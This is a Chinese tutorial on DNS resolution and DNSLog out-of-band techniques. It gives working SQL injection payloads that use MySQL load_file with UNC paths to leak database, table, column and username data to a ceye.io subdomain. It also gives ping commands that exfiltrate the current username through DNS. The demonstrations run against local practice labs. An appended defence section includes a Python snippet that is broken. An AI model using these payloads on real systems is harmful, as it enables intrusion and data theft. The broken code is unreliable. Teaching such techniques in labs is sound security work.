DNS与DNSLog

DNS

简介

DNS(Domain Name System),也就是域名系统。将域名与IP地址相互映射的一个分布式数据库。DNS使用UDP端口53。

域名解析的过程就是将域名去DNS服务器的数据库中寻找,这是比较耗费时间的。为了提高上网速度,运营商一般在他们的DNS服务器中缓存了许多的DNS记录,再根据用户所在地进行网络分配。这样用户打开网页则不需要去查询DNS数据库,而是直接使用缓存的DNS记录。

解析过程

大致流程描述如下:
1、用户在URL中输入某个域名
2、浏览器检查有没有这个域名解析为IP的记录
3、如果没有,浏览器会查找操作系统缓存中是否有记录,例如Linux系统中/etc/hosts文件可以设置
4、如果还是没有,操作系统会将这个域名发送给LDNS(本地DNS服务器)。Windows系统在cmd中输入ipconfig查询,Linux系统cat /etc/resolv.conf查询。大部分的域名解析都会截止于这一步。
5、如果LDNS还是没有命中,那就直接去根域名服务器请求解析
6、根域名服务器会返回给LDNS一个所查询的主域名服务器地址(gTLD Server),这是国际顶级域名服务器,如.cn
7、LDNS再向上一步返回的gTLD服务器发送请求,返回二级域名服务器地址 .com 。。。
8、通过递归查询的方式重复以上过程,最终得到目标的DNS服务器,见于图中红色部分
在这里插入图片描述
这里再引入一个概念DNS的迭代查询和递归查询。
迭代查询:发生在客户端与LDNS间,只会请求一次
递归查询:发生在LDNS与外网间,重复请求

DNSLog

简介

DNSLog就是DNS日志,指存储在DNS上的域名有关信息,记录了用户对域名、IP的访问信息

ceye的使用

这是一个目前还能使用的免费dns解析记录网站
http://ceye.io
需要注册账号,得到一个自己的DNS解析服务器xxxxxx.ceye.io
在这里插入图片描述

DNSLog注入

常用情况
SQL注入中的盲注
无回显的命令执行
无回显的SSRF
XSS盲打
sqlmap可以使用–dns-domain参数实现自动化dns注入

原理
当页面无回显的时候只能采用盲注,但是手工测试太耗费时间,工具容易被ban掉,除了代理IP池,还可以利用DNSLog外带查询
在MYSQL中有一个系统属性secure_file_priv
当取值为null时,表示不允许导入导出
当取值是指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
当没有设置时,表示没有任何限制

前置条件
1.数据库root权限
2.数据库可读写权限,secure_file_priv值为空,在my.ini中设置
3.Windows系统(因为Linux系统没有UNC路径)
4.DBMS中要有可用的能直接间接引发DNS解析过程的子程序,即用到UNC

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。

在这里插入图片描述
实践
对于Mysql数据库,需要用到load_file()函数
load_file(concat(‘\\’,(select database()),‘.123456.ceye.io\abc’))

四个\中存在两个转义\,实际含义\\
然后接上我们想要的信息database()
再接上自己注册的域名标签123456.ceye.io(这里123456实际表示六位字母)
最后的abc是文件名,随便写就行
Mysql就会去访问这个路径,去路径下找abc

在这里插入图片描述
我要得到的信息security就出现了
在这里插入图片描述
需要注意的是外带信息中不能有特殊字符,否则将没有任何记录信息,比如@
在这里插入图片描述
解决办法是通过hex函数,转为16进制外带
在这里插入图片描述
不要在意为啥域名标签变了,由于卡退重登
在这里插入图片描述
用Burp进行16进制解码,得到信息
在这里插入图片描述

SQL盲注

补充一下Mysql的load_file()函数介绍
读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。
下面以sqli-master靶场第五关为例,这一题是布尔型盲注。
在这里插入图片描述
构造payload试试

127.0.0.1/sql/Less-5/?id=1' and if((select load_file(concat('\\\\',(select database()),'.phax9s.ceye.io\\abc'))),1,1) -- -
127.0.0.1/sql/Less-5/?id=1' and (select load_file(concat('\\\\',(select database()),'.phax9s.ceye.io\\abc')))  -- -

在ceye中查看记录
在这里插入图片描述
查询一下数据库security中的表
在这里插入图片描述

127.0.0.1/sql/Less-5/?id=1' and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.phax9s.ceye.io\\abc')))  -- -

得到信息security数据库第一张表名为emails,修改limit查询其他表
在这里插入图片描述
接下来查字段名

127.0.0.1/sql/Less-5/?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 1,1),'.phax9s.ceye.io\\abc'))),1,1) -- -

在这里插入图片描述
查询users表的username数据

http://127.0.0.1/sql/Less-5/?id=1' and load_file(concat('\\\\',(select username from users limit 0,1),'.phax9s.ceye.io\\abc')) -- -

在这里插入图片描述

命令执行盲注

当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在ceye获取到 DNS 的查询请求

Windows系统中
ping %USERNAME%.xxx.ceye.io
Linux系统中
ping `whoami`.xxxx.ceye.io

在这里插入图片描述
在这里插入图片描述

XSS盲注

以Pikachu靶场的XSS盲打关为例
在这里插入图片描述
提交后登录后台,ceye收到请求表示触发了植入的代码
在这里插入图片描述

### Dnslog 外带检测 DNS 回显技术原理 #### DNSLog 外带检测的技术原理 DNSLog 外带是一种利用 DNS 协议特性绕过网络边界限制的方法。当攻击者成功注入特定的有效载荷到目标应用程序中时,该有效载荷会触发一个外部的 DNS 请求。这个请求通常会被发送至由攻击者控制的 DNS 服务器上,在那里它可以被记录下来并用于推断内部系统的状态或数据[^1]。 为了实现有效的 DNSLog 外带检测,安全团队可以采取多种策略: - **监控异常流量模式**:通过设置基线来识别正常业务操作中的典型行为,并标记任何偏离这些标准的行为作为潜在威胁。 - **实时日志分析**:部署专门的日志管理系统(SIEM),能够快速处理大量来自不同源的数据流,并应用机器学习算法自动发现可疑活动。 - **黑名单/白名单管理**:维护已知恶意 IP 地址列表以及可信资源库,以便及时阻止非法连接尝试;同时允许合法通信不受干扰地继续进行。 ```python import logging from datetime import timedelta def monitor_dns_requests(logs, threshold=50): """Monitor and alert on unusual number of DNS requests.""" recent_logs = logs.filter(timestamp__gte=datetime.now()-timedelta(hours=1)) request_count = recent_logs.count() if request_count > threshold: logging.warning(f"Unusual activity detected: {request_count} DNS requests in the last hour.") ``` #### DNS 回显的工作机制 DNS 回显是指一种特殊的 DNS 查询方式,其中客户端发出带有自定义子域部分的查询字符串给指定名称服务器。如果配置得当,则每次这样的查询都会导致相应的响应消息返回给原始发起方。这种方法常用来验证某些功能是否按预期工作,或是作为一种简单的调试工具[^4]。 具体来说,对于 Web 应用程序而言,可以通过构造特殊 URL 来触发展示页面加载过程中产生的错误信息或其他敏感细节。例如,`http://victim.com/?debug=true&domain=<attacker-controlled-subdomain>.example.com` 可能会导致浏览器向 `<attacker-controlled-subdomain>.example.com` 发送一次 A 记录查找请求,从而暴露出有关受害者环境的信息。 #### 实现方法概述 要防范上述提到的风险,建议采用以下措施加强防护力度: - 对于所有进出组织内外部网络边界的 DNS 流量实施严格过滤; - 定期审查现有的防火墙规则集以确保其有效性; - 使用最新的入侵防御系统 (IPS) 和防病毒软件保护关键资产免受最新形式的攻击; - 教育员工提高网络安全意识,减少人为失误带来的安全隐患。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值